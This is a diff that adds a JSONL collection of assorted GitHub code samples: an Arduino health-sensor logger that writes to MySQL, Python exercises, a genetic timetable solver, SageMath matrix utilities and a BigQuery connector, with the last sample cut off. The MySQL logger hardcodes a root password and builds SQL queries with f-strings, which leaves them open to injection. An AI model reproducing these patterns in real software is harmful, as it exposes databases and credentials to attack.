diff --git "a/6379.jsonl" "b/6379.jsonl" new file mode 100644--- /dev/null +++ "b/6379.jsonl" @@ -0,0 +1,277 @@ +{"seq_id":"10938303214","text":"from random import randint\nimport mysql.connector\nimport random\nimport numpy as np\nimport pandas as pd\nimport serial\nimport matplotlib.pyplot as plt\nfrom datetime import datetime as dt\nfrom pytz import timezone\n\n\ndef makeConnection():\n try:\n cnx = mysql.connector.connect(\n user=\"root\", password=\"42admin\", host=\"127.0.0.1\", database=\"healthData\"\n )\n return cnx\n\n except mysql.connector.Error as err:\n\n if err.errno == mysql.connector.errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Something is wrong with your user name or password\")\n elif err.errno == mysql.connector.errorcode.ER_BAD_DB_ERROR:\n print(\"Database does not exist\")\n else:\n print(err)\n\n\ndef addUser(cursor, usuario):\n query = f'INSERT INTO Person(username) values(\"{usuario}\");'\n cursor.execute(query)\n\n\ndef incert(cursor, query_heart_rythm, query_heart_oxygen, risk, usuario):\n zonaHoraria = timezone(\"America/Mexico_City\")\n fechaHora = dt.now(zonaHoraria)\n fechaHoraFormato = fechaHora.strftime(\"%Y-%m-%d %H:%M:%S\")\n queryGetName = f\"SELECT * FROM Person WHERE username = 'user-{usuario}'\"\n cursor.execute(queryGetName)\n idUser = cursor.fetchone()[0]\n\n query = f'INSERT INTO Biometrics(ID_person, oxigen_level, Heart_rythm, date) values({idUser}, \"{query_heart_oxygen}\", \"{query_heart_rythm}\", \"{fechaHoraFormato}\");'\n cursor.execute(query)\n\n query = f\"INSERT INTO State(ID_person, risk, date) values({idUser}, {risk}, '{fechaHoraFormato}');\"\n cursor.execute(query)\n\n\ndef printQuerry(cursor, table):\n query = f\"SELECT * FROM {table};\"\n cursor.execute(query)\n for result in cursor:\n print(result)\n\n\ndef expMovingAverages(hr, ox, alfa=0.9):\n listaSuavisadaHr = []\n listaSuavisadaHr.append(hr[-1])\n for i in hr:\n listaSuavisadaHr.append(alfa * i + (1 - alfa) * listaSuavisadaHr[-1])\n\n listaSuavisadaOx = []\n listaSuavisadaOx.append(ox[-1])\n for i in ox:\n listaSuavisadaOx.append(alfa * i + (1 - alfa) * listaSuavisadaOx[-1])\n\n return (listaSuavisadaHr, listaSuavisadaOx)\n\n\ndef simpleMovingAverages(hr, ox, k=3):\n df = pd.DataFrame(list(zip(hr, ox)), columns=[\"ir\", \"red\"])\n df = df.rolling(k, min_periods=1).mean()\n\n return df\n\n\ndef dataBaseIncertion(hr, ox):\n cnx = makeConnection()\n cursor = cnx.cursor()\n nunOfUsers = 0\n for i in range(1, 5):\n addUser(cursor, f\"user-{i % 4}\")\n nunOfUsers += 1\n\n for i in range(0, 5000):\n incert(cursor, randint(0, 1024), randint(0, 1024), 0, i % nunOfUsers)\n\n # cnx.commit()\n cnx.close()\n\n\ndef dataPlot(data, time):\n hr, ox = data\n hr.pop()\n ox.pop()\n plt.plot(time, hr, label=\"h1\", color=\"r\")\n plt.plot(time, ox, label=\"ox\", color=\"b\")\n plt.show()\n\n\ndef dataProcesing(irList, redList, time):\n tupMAS = simpleMovingAverages(redList, irList).values.tolist()\n tupMAE = expMovingAverages(redList, irList, 0.3)\n # dataBaseIncertion(*tupMAE)\n # dataPlot(tupMAS, time)\n dataPlot(tupMAE, time)\n\n\ndef main():\n\n irList = []\n redList = []\n time = []\n ser = serial.Serial(\"/dev/cu.usbmodem14101\", 115200)\n while 1:\n try:\n lineBytes = ser.readline()\n line = lineBytes.decode(\"ascii\")\n line = line.rstrip()\n partes = line.split(\";\")\n ir = int(partes[0].split(\":\")[1])\n red = int(partes[1].split(\":\")[1])\n milis = int(partes[2].split(\":\")[1])\n irList.append(ir)\n redList.append(red)\n time.append(milis)\n print(ir)\n if len(irList) >= 5000:\n dataProcesing(irList, redList, time)\n irList.clear()\n redList.clear()\n time.clear()\n\n except Exception as e:\n print(e)\n continue\n\n\nmain()\n","repo_name":"DemiurgeApeiron/Equipo_no_6_RetoIot","sub_path":"Miscelaneos/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74053390963","text":"num = [2, 5, 9, 1]\nnum[2] = 3\nnum.append(7) #adiciona um valor a lista\nnum.sort(reverse=True) #sort : organiza reverse=True Coloca de trás pra frente\nnum.insert(2, 0) #adiciona o valor 0 na posição 2\nnum.remove(2) #ele elimina o primeiro valor que vc mandou eliminar\nnum.pop() #elimina o ultimo valor se n declarar a posição\nprint(num)\nprint(f'Essa lista tem {len(num)} elementos.')\n\na = [2, 3, 4, 7]\n#b = a #faz uma ligação entre b e a, se alterar o b altera o a tbm\nb = a[:] #recebe os valores de a e faz uma cópia\nb[2] = 8\nprint(f'Lista A: {a}')\nprint(f'Lista b: {b}')","repo_name":"Dalexxx/Python-CursoEmVideo","sub_path":"pythonteste/aula17.py","file_name":"aula17.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36123689148","text":"import random\nfrom functools import partial\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom deap import base, creator, tools, algorithms\n\n\nclass Teacher:\n def __init__(self, id, name, courses):\n self.id = id\n self.name = name\n self.courses = courses # list of Course ids\n\n\nclass Course:\n def __init__(self, id, name, times_per_week):\n self.id = id\n self.name = name\n self.times_per_week = times_per_week\n\n\nclass Classroom:\n def __init__(self, id, name):\n self.id = id\n self.name = name\n\n\nTEACHERS = [Teacher(0, 'Anna Matematyczna', [0]),\n Teacher(1, 'Aniela Anielska', [1]),\n Teacher(2, 'Krzysztof Fizyczny', [2]),\n Teacher(3, 'Adam Geograficzny', [3]),\n Teacher(4, 'Michal Histeryk', [4]),\n Teacher(5, 'Daniel Chemiczny', [5])]\n\nCOURSES = [Course(0, 'Matematyka', 12),\n Course(1, 'Angielski', 12),\n Course(2, 'Fizyka', 12),\n Course(3, 'Geografia', 12),\n Course(4, 'Historia', 12),\n Course(5, 'Chemia', 12)]\n\nCLASSROOMS = [Classroom(0, 'Sala 1'),\n Classroom(1, 'Sala 2'),\n Classroom(2, 'Sala 3'),\n Classroom(3, 'Sala 4')]\n\nDAYS_OF_WEEK = 5\nTIME_SLOTS = 8\n\n\ndef evaluate(individual):\n # Convert to numpy for convenience\n schedule = np.array(individual)\n\n conflicts = 0\n\n # Check if all courses are assigned the correct number of times\n assigned_courses = schedule[:, 3] # Course ids\n assigned_counts = np.bincount(assigned_courses) # Count occurrences of each course\n for i, course in enumerate(COURSES):\n if assigned_counts[i] != course.times_per_week:\n conflicts += (10 * (course.times_per_week - assigned_counts[i]))\n\n # Check if a teacher is assigned to two different courses at the same time\n for i in range(DAYS_OF_WEEK):\n for j in range(TIME_SLOTS):\n for t in range(len(TEACHERS)):\n # Get the indices of the courses taught by this teacher at this time\n indices = np.where((schedule[:, 0] == t) & (schedule[:, 1] == i) & (schedule[:, 2] == j))[0]\n if len(indices) > 1:\n conflicts += 10\n\n # Check if a classroom has more than one course at the same time\n for i in range(DAYS_OF_WEEK):\n for j in range(TIME_SLOTS):\n for c in range(len(CLASSROOMS)):\n # Get the indices of the courses scheduled in this classroom at this time\n indices = np.where((schedule[:, 4] == c) & (schedule[:, 1] == i) & (schedule[:, 2] == j))[0]\n if len(indices) > 1:\n conflicts += 10\n\n return conflicts,\n\n\ndef create_individual():\n individual = []\n assigned_courses = []\n for course in COURSES:\n # Get the teachers who can teach this course\n available_teachers = [teacher.id for teacher in TEACHERS if course.id in teacher.courses]\n for _ in range(course.times_per_week):\n # Choose a random teacher, day, time, and classroom\n teacher_id = random.choice(available_teachers)\n day = random.randint(0, DAYS_OF_WEEK - 1)\n time = random.randint(0, TIME_SLOTS - 1)\n classroom_id = random.randint(0, len(CLASSROOMS) - 1)\n individual.append([teacher_id, day, time, course.id, classroom_id])\n assigned_courses.append(course.id)\n\n return individual\n\n\ndef crossover(ind1, ind2):\n return tools.cxTwoPoint(ind1, ind2)\n\n\ndef mutation(individual):\n # Choose a random gene\n gene_idx = random.randint(0, len(individual) - 1)\n\n # Mutation 1: Changing teacher\n course_id = individual[gene_idx][3]\n available_teachers = [teacher.id for teacher in TEACHERS if course_id in teacher.courses]\n individual[gene_idx][0] = random.choice(available_teachers)\n\n # Mutation 2: Changing day\n individual[gene_idx][1] = random.randint(0, DAYS_OF_WEEK - 1)\n\n # Mutation 3: Changing time\n individual[gene_idx][2] = random.randint(0, TIME_SLOTS - 1)\n\n # Mutation 4: Changing Classroom\n individual[gene_idx][4] = random.randint(0, len(CLASSROOMS) - 1)\n\n return individual,\n\n\n# Set up the genetic algorithm\ncreator.create('FitnessMin', base.Fitness, weights=(-1.0,))\ncreator.create('Individual', list, fitness=creator.FitnessMin)\n\ntoolbox = base.Toolbox()\ntoolbox.register('individual', tools.initIterate, creator.Individual, create_individual)\ntoolbox.register('population', tools.initRepeat, list, toolbox.individual)\n\ntoolbox.register('evaluate', evaluate)\ntoolbox.register('mate', crossover)\ntoolbox.register('mutate', mutation)\ntoolbox.register('select', tools.selTournament, tournsize=3)\n\n\ndef run_genetic_algorithm():\n hof = tools.HallOfFame(5)\n stats = tools.Statistics(lambda ind: ind.fitness.values)\n stats.register('avg', np.mean)\n stats.register('std', np.std)\n stats.register('min', np.min)\n stats.register('max', np.max)\n\n algorithms_list = [\n ('eaMuCommaLambda_50_100', partial(algorithms.eaMuCommaLambda, mu=50, lambda_=100)),\n ('eaSimple', partial(algorithms.eaSimple))\n ]\n\n results = [] # Best results\n\n for algorithm_name, algo in algorithms_list:\n pop = toolbox.population(n=100)\n pop, logbook = algo(pop, toolbox, cxpb=0.3, mutpb=0.2, ngen=100, stats=stats, halloffame=hof)\n best_schedule = hof[0]\n create_schedule_image(best_schedule, algorithm_name)\n num_classes = len(best_schedule)\n results.append((algorithm_name, num_classes))\n\n # Generate statistics\n best_individual = tools.selBest(pop, 1)[0]\n best_fitness = best_individual.fitness.values[0]\n print(f\"Best individual with fitness: {best_fitness}\")\n print(f\"Algorithm: {algorithm_name}\")\n print(f\"Number of conflicts: {evaluate(best_individual)[0]}\")\n print(f\"Total number of classes: {num_classes}\")\n print(\"\\n\")\n\n # Generate effectiveness summary\n gen = logbook.select(\"gen\")\n fit_avg = logbook.select(\"avg\")\n fit_min = logbook.select(\"min\")\n fit_max = logbook.select(\"max\")\n\n plt.figure()\n plt.plot(gen, fit_avg, label=\"avg\")\n plt.plot(gen, fit_min, label=\"min\")\n plt.plot(gen, fit_max, label=\"max\")\n plt.xlabel(\"Generation\")\n plt.ylabel(\"Fitness\")\n plt.title(f\"Fitness Progression - {algorithm_name}\")\n plt.legend(loc=\"best\")\n plt.savefig(f\"fitness_{algorithm_name}.png\")\n\n print(\"Summary:\")\n for result in results:\n algorithm_name, num_classes = result\n print(f\"Algorithm: {algorithm_name}, Number of classes: {num_classes}\")\n\n return \"Generation and visualization completed.\"\n\n\ndef create_schedule_image(schedule, algorithm_name):\n # Create an empty schedule for each classroom\n classroom_schedules = [[['' for _ in range(DAYS_OF_WEEK)] for _ in range(TIME_SLOTS)] for _ in\n range(len(CLASSROOMS))]\n\n # Fill in the schedules\n for gene in schedule:\n teacher_id, day, time, course_id, classroom_id = gene\n teacher_name = [t.name for t in TEACHERS if t.id == teacher_id][0]\n course_name = [c.name for c in COURSES if c.id == course_id][0]\n classroom_schedules[classroom_id][time][day] = f'{course_name}\\n{teacher_name}\\n'\n\n # Define time slots and day labels\n time_slots_labels = [f'Time slot {i + 1}' for i in range(TIME_SLOTS)]\n day_labels = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday']\n\n # Create the plots for each classroom\n for classroom_id, classroom_schedule in enumerate(classroom_schedules):\n fig, axs = plt.subplots(figsize=(10, 10))\n axs.axis('tight')\n axs.axis('off')\n table = axs.table(cellText=classroom_schedule, cellLoc='center', loc='center', colLabels=day_labels,\n rowLabels=time_slots_labels)\n table.auto_set_font_size(False)\n table.set_fontsize(10)\n table.scale(1.4, 2.2)\n plt.tight_layout()\n plt.savefig(f'schedule_{algorithm_name}_classroom_{classroom_id}.png')\n\n\nrun_genetic_algorithm()\n","repo_name":"michalniebrzydowski/ai-genetic-timetable","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6852962555","text":"import numpy as np\nimport pandas as pd\nimport cv2\nimport os\nimport tensorflow as tf\n\n#test the machine learning model\naccuracy = np.zeros(14)\n\npath = './L=50__'\ntest_images = []\nfor filename in os.listdir(path):\n img = cv2.imread(path + '/' + filename)\n test_images.append(img)\ntest_images = np.array(test_images, dtype='float')/255.0\n\n# test_labels = ['0.1']*100+['0.2']*100+['0.3']*100+['0.4']*100+['0.55']*100+['0.56']*100+['0.57']*100+['0.58']*100+['0.59']*100+['0.5']*100+\\\n# ['0.61']*100+['0.62']*100+['0.63']*100+['0.64']*100+['0.65']*100+['0.66']*100+['0.6']*100+['0.7']*100+['0.8']*100+['0.9']*100\n# test_labels = np.array(test_labels)\n# lb = LabelBinarizer()\n# test_labels = lb.fit_transform(test_labels)\n\ntest_labels = [0]*500 + [1]*400 + [0]*200 + [1]*300\ntest_labels = np.array(test_labels)\n\n# model = tf.keras.models.load_model(\"simple_model.h5\")\n# accuracy = model.predict(test_images)\n# train = pd.DataFrame(data=accuracy)\n# train.to_csv('acc.csv', index=False)\nmodel = tf.keras.models.load_model(\"simple_model.h5\")\nfor loop in range(0, len(test_images), 100):\n eval = model.evaluate(test_images[loop:loop+100], test_labels[loop:loop+100], batch_size=64)\n accuracy[int(loop/100)] = eval[1]\n\nprint(accuracy)","repo_name":"fuyuang666/percolation_machine_learning","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28450493662","text":"from discord import Interaction\nfrom discord.app_commands import Choice\n\nfrom db.repositories.ballot_repository import get_user_ballot_ids\n\n\nasync def autocomplete_student_email(interaction: Interaction, current_input: str):\n return [Choice(name=f\"{current_input.split('@')[0]}@student.lut.fi\", value=f\"{current_input}@student.lut.fi\")]\n\n\nasync def autocomplete_ballot_id(interaction: Interaction, current_input: str) -> list[Choice[int]]:\n voted_in_ballots = get_user_ballot_ids(interaction.user.id)\n matches = [Choice(name=f\"{ballot.name} ({ballot.ballot_id})\", value=str(ballot.ballot_id)) for ballot in voted_in_ballots\n if str(ballot.ballot_id).startswith(current_input)]\n return matches[:25]\n","repo_name":"EddieTheCubeHead/ClusterBot","sub_path":"discord_helpers/autocompletes.py","file_name":"autocompletes.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"450318785","text":"import unittest\nimport itertools\nimport logging\nimport Log\nimport TestGraphComplex\nimport OrdinaryGraphComplex\nfrom sage.all import *\nimport StoreLoad\nimport OrdinaryMerkulovComplex\nimport GraphOperator\nimport ForestedGraphComplex\nimport os\n\n# even_e = True\n# OGC = OrdinaryMerkulovComplex.OrdinaryMerkulovGC(range(20), range(9), even_e, ['contract'])\n# OGC.build_basis()\n# OGC.build_matrix()\n# OGC.compute_rank(sage=\"mod\")\n\n# OGC.print_cohom()\n\n\ndef precond_stats(op:GraphOperator.OperatorMatrix):\n print(\"Loading...: \", str(op))\n (lst,(m,n)) = op._load_matrix_list()\n print(\"gathering stats...\")\n rcount = [0 for _ in range(m)]\n ccount = [0 for _ in range(n)]\n multis = 0\n\n previj = (-1,-1)\n for (i,j, v) in lst:\n rcount[i] += 1\n ccount[j] += 1\n if previj == (i,j):\n multis += 1\n \n print(\"evaluating...\")\n zerorows = sum( 1 if j==0 else 0 for j in rcount)\n zerocols = sum( 1 if j==0 else 0 for j in ccount)\n onerows = sum( 1 if j==1 else 0 for j in rcount)\n onecols = sum( 1 if j==1 else 0 for j in ccount)\n tworows = sum( 1 if j==2 else 0 for j in rcount)\n twocols = sum( 1 if j==2 else 0 for j in ccount)\n \n print(f\"Matrix: {m} x {n}\")\n print(f\"Zero rows: {zerorows}\")\n print(f\"Zero cols: {zerocols}\")\n print(f\"One rows: {onerows}\")\n print(f\"One cols: {onecols}\")\n print(f\"Two rows: {tworows}\")\n print(f\"Two cols: {twocols}\")\n print(f\"multis: {multis}\")\n\n\ndef get_submatrix(lst, keeprow, keepcol):\n print(\"Submatrix...\")\n newm = sum(1 for b in keeprow if b)\n newn = sum(1 for b in keepcol if b)\n \n newrowinds = [i for (i,b) in enumerate(keeprow) if b]\n newcolinds = [j for (j,b) in enumerate(keepcol) if b]\n \n # dict from old index to new\n rowdict = { iold : inew for (inew, iold) in enumerate(newrowinds) }\n coldict = { iold : inew for (inew, iold) in enumerate(newcolinds) }\n\n newlst = [ (rowdict[i],coldict[j],v) for (i,j,v) in lst \n if keeprow[i] and keepcol[j] ]\n\n return (newlst, newm, newn)\n\ndef transpose_lst(lst):\n matrix_list = [(j, i, v) for (i, j, v) in lst]\n matrix_list.sort()\n return matrix_list\n\ndef graphcheck(lst, m, n):\n rcount = [0 for _ in range(m)]\n ccount = [0 for _ in range(n)]\n colsupports = [set() for _ in range(n) ]\n for (i,j, v) in lst:\n rcount[i] += 1\n ccount[j] += 1\n colsupports[j].add(i)\n \n # consider only columns with 2 nonzero entries\n cols = [c == 2 or c==3 for c in ccount]\n lst2, m2, n2 = get_submatrix(lst, [True for _ in range(m)], cols)\n print(\"Generating graph\")\n # make graph\n G = Graph(m2)\n edges = []\n es = [-1 for _ in range(n2)] \n for (i,j,v) in lst2:\n if es[j] >0:\n edges.append( (i, es[j],j) )\n \n es[j] = i\n G.add_edges(edges)\n print(\"Graph generated, finding ccs\")\n\n # ccgs = G.connected_components_subgraphs()\n # ccs = G.connected_components()\n # ccsizes = [len(a) for a in ccs]\n # print(f\"#connected comp{len(ccs)}\")\n \n\n ccgs = G.connected_components_subgraphs()\n ccinfo = [ (GG.num_verts(), GG.num_edges()) for GG in ccgs ]\n print(ccinfo[0:100])\n\n print(\"ccs done...\")\n print(f\"#connected comp{len(ccgs)}\")\n for cc in ccgs:\n # get submatrix\n verts = cc.vertices()\n if len(verts) < 100:\n break\n iset = set(verts)\n # jset = set(cc.edge_labels())\n lst3, m3, n3 = get_submatrix(lst, [(i in iset) for i in range(m)], \n [colsupports[j] <= iset for j in range(n)] )\n print(f\"Submatrix {m3}x{n3}\")\n M = matrix(QQ,m3,n3, {(i,j) : v for (i,j,v) in lst3 } )\n r = M.rank()\n if r == min(m3,n3):\n print( f\"OK, full rank {r}\")\n else:\n print( f\"NO, rank deficient {r}\")\n print( M.left_kernel().basis() ) \n\n\n\n\ndef removerstep(lst, m,n, rankbias):\n print(\"gathering stats...\")\n rcount = [0 for _ in range(m)]\n ccount = [0 for _ in range(n)]\n for (i,j, v) in lst:\n rcount[i] += 1\n ccount[j] += 1\n \n print(\"evaluating...\")\n zerorows = sum( 1 if j==0 else 0 for j in rcount)\n zerocols = sum( 1 if j==0 else 0 for j in ccount)\n onerows = sum( 1 if j==1 else 0 for j in rcount)\n onecols = sum( 1 if j==1 else 0 for j in ccount)\n tworows = sum( 1 if j==2 else 0 for j in rcount)\n twocols = sum( 1 if j==2 else 0 for j in ccount)\n \n print(f\"Matrix: {m} x {n}\")\n print(f\"Zero rows: {zerorows}\")\n print(f\"Zero cols: {zerocols}\")\n print(f\"One rows: {onerows}\")\n print(f\"One cols: {onecols}\")\n print(f\"Two rows: {tworows}\")\n print(f\"Two cols: {twocols}\")\n\n print(\"Simplifying matrix, deleting one cols\")\n delrow = [False for _ in range(m)]\n delcol = [False for _ in range(n)]\n newrankbias = rankbias\n for (i,j, v) in lst:\n if ccount[j] == 1 and v != 0:\n if not delrow[i] and not delcol[j]:\n newrankbias += 1\n delrow[i] = True\n delcol[j] = True\n # remove zero cols\n for (j,v) in enumerate(ccount):\n if v ==0:\n delcol[j] = True\n for (i,v) in enumerate(rcount):\n if v ==0:\n delrow[i] = True\n\n\n newm = m - sum(1 for b in delrow if b)\n newn = n - sum(1 for b in delcol if b)\n \n newrowinds = [i for (i,b) in enumerate(delrow) if not b]\n newcolinds = [j for (j,b) in enumerate(delcol) if not b]\n \n # dict from old index to new\n rowdict = { iold : inew for (inew, iold) in enumerate(newrowinds) }\n coldict = { iold : inew for (inew, iold) in enumerate(newcolinds) }\n\n print(\"creating new matrix...\")\n newlst = [ (rowdict[i],coldict[j],v) for (i,j,v) in lst \n if not delrow[i] and not delcol[j] ]\n\n return (newlst, newm, newn, newrankbias)\n\ndef load_sms_file(fname):\n if not os.path.isfile(fname):\n raise StoreLoad.FileNotFoundError(\n \"Cannot load matrix, No matrix file found for %s: \" % fname)\n stringList = StoreLoad.load_string_list(fname)\n (d, t, data_type) = stringList.pop(0).split(\" \")\n shape = (d, t) = (int(d), int(t))\n \n tail = map(int, stringList.pop().split(\" \"))\n if not list(tail) == [0, 0, 0]:\n raise ValueError(\"%s: End line missing or matrix not correctly read from file\"\n % fname)\n matrix_list = []\n for line in stringList:\n (i, j, v) = map(int, line.split(\" \"))\n if i < 1 or j < 1:\n raise ValueError(\"%s: Invalid matrix index: %d %d\" %\n (fname, i, j))\n if i > d or j > t:\n raise ValueError(\"%s: Invalid matrix index outside matrix size:\"\n \" %d %d\" % (fname, i, j))\n matrix_list.append((i - 1, j - 1, v))\n return (matrix_list, shape)\n\ndef save_sms_file(lst, m, n, fname):\n (d, t) = m,n\n stringList = []\n stringList.append(\"%d %d %s\" % (d, t, \"M\"))\n for (i, j, v) in lst:\n stringList.append(\"%d %d %d\" % (i + 1, j + 1, v))\n stringList.append(\"0 0 0\")\n StoreLoad.store_string_list(stringList,fname)\n\n\ndef precondition(op:GraphOperator.OperatorMatrix):\n print(\"Loading...: \", str(op))\n (lst,(m,n)) = op._load_matrix_list()\n rankbias = 0\n for i in range(10):\n print(f\"remover step {i}, rankbias {rankbias}...\")\n lst, m, n, rankbias = removerstep(lst, m, n, rankbias)\n\n save_sms_file(lst, m, n, op.get_matrix_file_path()+f\".preconditioned_{rankbias}.txt\")\n\n\n # save matrix\n\n\n# precond_stats(OrdinaryGraphComplex.ContractEdgesGO.generate_operator(12,10, True))\n# precond_stats(OrdinaryGraphComplex.ContractEdgesGO.generate_operator(13,10, True))\n# precond_stats(OrdinaryGraphComplex.ContractEdgesGO.generate_operator(11,10, False))\n# precond_stats(ForestedGraphComplex.ContractUnmarkTopBiOM.generate_operator(7,9,0, True))\n# precond_stats(ForestedGraphComplex.ContractUnmarkTopBiOM.generate_operator(7,10,0, True))\n# precond_stats(ForestedGraphComplex.ContractUnmarkTopBiOM.generate_operator(7,8,0, True))\n# precond_stats(ForestedGraphComplex.ContractUnmarkTopBiOM.generate_operator(7,10,0, False))\n\n# precondition( ForestedGraphComplex.ContractUnmarkTopBiOM.generate_operator(7,9,0, False) )\n# precondition( OrdinaryGraphComplex.ContractEdgesGO.generate_operator(12,10, True) )\n\nprint(\"Loading file\")\nfff = \"gh_data/data/forestedbl/odd_edges/bi_D_contract_unmark_top_7_9_0.txt.preconditioned_978418.txt\"\n\nlst, (m,n) = load_sms_file(fff)\n\nlstt = transpose_lst(lst)\n\nsave_sms_file(lstt, n,m, fff+\".transp.txt\")\n\n# print(\"graphckeck...\")\n# graphcheck(lst, m, n)","repo_name":"sibrun/GH","sub_path":"source/Test6.py","file_name":"Test6.py","file_ext":"py","file_size_in_byte":8679,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"15285717046","text":"#!/usr/bin/env python\n\"\"\"\nFunctions to access GCP BigQuery.\n\"\"\"\nimport logging\nfrom typing import Dict, List, Sequence, Tuple, Union\n\nfrom google.cloud import bigquery\nfrom google.cloud.exceptions import NotFound\n\nfrom config import load_config\n\nlog = logging.getLogger(__name__)\n\n\nclass BQ_Connector:\n def __init__(self, project: str = None) -> None:\n \"\"\"\n Initializer of BQ_Connector class.\n\n Args:\n project (str, optional): Project name. Defaults to None.\n key_file (str, optional): Key file path. Defaults to \"\".\n \"\"\"\n if project is None:\n config = load_config()\n self.client = bigquery.Client()\n self.project = None or config[\"PROJECT_NAME\"]\n self.table = None or config[\"TARGET_TABLE\"]\n self.dataset = None or config[\"TARGET_DATASET\"]\n self.location = None or config[\"LOCATION\"]\n\n def if_table_exists(self, dataset: str = None, table: str = None) -> bool:\n \"\"\"\n Returns true if table with this name exists.\n\n Args:\n dataset (str, optional): Dataset name. Defaults to None.\n table (str, optional): Table name. Defaults to None.\n\n Returns:\n bool: True if table exists, False otherwise.\n \"\"\"\n if dataset is None:\n dataset = self.dataset\n if table is None:\n table = self.table\n try:\n table_id = f\"{self.project}.{dataset}.{table}\"\n self.client.get_table(table_id)\n return True\n except NotFound:\n return False\n\n def create_table(\n self,\n dataset: str = None,\n table: str = None,\n schema: List = None,\n ) -> None:\n \"\"\"\n Creates table.\n\n Args:\n dataset (str, optional): Dataset name. Defaults to None.\n table (str, optional): Table name. Defaults to None.\n schema (List, optional): Table schema with values of class\n bigquery.SchemaField. Defaults to None.\n \"\"\"\n if dataset is None:\n dataset = self.dataset\n if table is None:\n table = self.table\n if schema is None:\n schema = [\n bigquery.SchemaField(\"username\", \"STRING\", mode=\"REQUIRED\"),\n bigquery.SchemaField(\"email\", \"STRING\", mode=\"REQUIRED\"),\n bigquery.SchemaField(\"first_name\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"last_name\", \"STRING\", mode=\"NULLABLE\"),\n bigquery.SchemaField(\"password\", \"STRING\", mode=\"REQUIRED\"),\n bigquery.SchemaField(\"plan\", \"STRING\", mode=\"REQUIRED\"),\n ]\n if not self.if_table_exists(dataset=dataset, table=table):\n table_id = f\"{self.project}.{dataset}.{table}\"\n table = bigquery.Table(table_id, schema=schema)\n table = self.client.create_table(table)\n log.info(\n \"Created table {}.{}.{}\".format(self.project, dataset, table)\n )\n\n def insert_rows_to_table(\n self,\n rows_to_insert: Union[Sequence[Tuple], Sequence[Dict]],\n dataset: str = None,\n table: str = None,\n ) -> None:\n \"\"\"\n Inserts rows to table.\n\n Args:\n rows_to_insert (Union[Sequence[Tuple], Sequence[Dict]]):\n Rows to insert.\n dataset (str, optional): Dataset name. Defaults to None.\n table (str, optional): Table name. Defaults to None.\n \"\"\"\n table_ref = f\"{self.project}.{dataset}.{table}\"\n table = self.client.get_table(table_ref)\n errors = self.client.insert_rows(\n table,\n rows_to_insert,\n )\n return errors\n\n def get_row_from_table(\n self,\n key: str,\n dataset: str = None,\n table: str = None,\n ) -> List:\n \"\"\"\n Get row(s) from table on a given condition (where 'email' equals\n to key)\n\n Args:\n key (str): email address to find in the table.\n dataset (str, optional): Dataset name. Defaults to None.\n table (str, optional): Table name. Defaults to None.\n\n Returns:\n list: List of rows that met the condition.\n \"\"\"\n if dataset is None:\n dataset = self.dataset\n if table is None:\n table = self.table\n try:\n query = f\"\"\"\n SELECT *\n FROM {self.project}.{dataset}.{table}\n WHERE email = @email;\n \"\"\"\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"email\", \"STRING\", key),\n ]\n )\n query_job = self.client.query(query, job_config=job_config)\n log.info(\n f\"Query returned {query_job.result()._total_rows} result(s).\"\n )\n return [dict(row.items()) for row in query_job]\n except NotFound:\n log.warning(\"Query returned 0 results.\")\n return None\n","repo_name":"rafal-mokrzycki/blogbot","sub_path":"scripts/bq_connector.py","file_name":"bq_connector.py","file_ext":"py","file_size_in_byte":5104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25329943093","text":"import numpy as np\nfx = np.random.normal(0, 1, (3,3))\nfy = np.random.normal(0, 1, (3,3))\nft = np.random.normal(0, 1, (3,3))\nSumfx2 = sum([px*px for px in fx.flatten()])\nSumfy2 = sum([py*py for py in fy.flatten()])\nSumfxfy = sum([px*py for px, py in zip(fx.flatten(), fy.flatten())])\nn_Sumfxft = -1 * sum([px*pt for px, pt in zip(fx.flatten(), ft.flatten())])\nn_Sumfyft = -1 * sum([py*pt for py, pt in zip(fy.flatten(), ft.flatten())])\n\nT1 = np.array([[Sumfx2, Sumfxfy],[Sumfxfy, Sumfy2]])**-1\nT2 = np.array([[n_Sumfxft],[n_Sumfyft]])\nu, v = T1.dot(T2).flatten()\nprint(u, v)\n","repo_name":"showaykerker/fish_cv","sub_path":"Testing_code/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71236067123","text":"# this script has an `format` argument\n# pylint: disable=redefined-builtin\nif format in ('svg',):\n image_pixels = context.getHeight()* context.getWidth()\n max_pixels = 128*128 # default thumbnail size\n if image_pixels > max_pixels:\n # image is too big to be handled safely by ERP5 as it can lead to\n # really high memory consumptions\n return 0\nreturn 1\n","repo_name":"Nexedi/erp5","sub_path":"bt5/erp5_dms/SkinTemplateItem/portal_skins/erp5_dms/Image_checkConversionFormatPermission.py","file_name":"Image_checkConversionFormatPermission.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"75"} +{"seq_id":"8102499837","text":"sen = input(\"enter string= \")\nword =sen.split(\" \")\nprint(\"length of words :\" , len(word))\nprint(\"length of string\" , len(sen))\n\ncount = 0\nfor i in range(0,len(sen)):\n if(sen[i].isalnum()):\n count+= 1\n\nprint(\"percentage = \" , 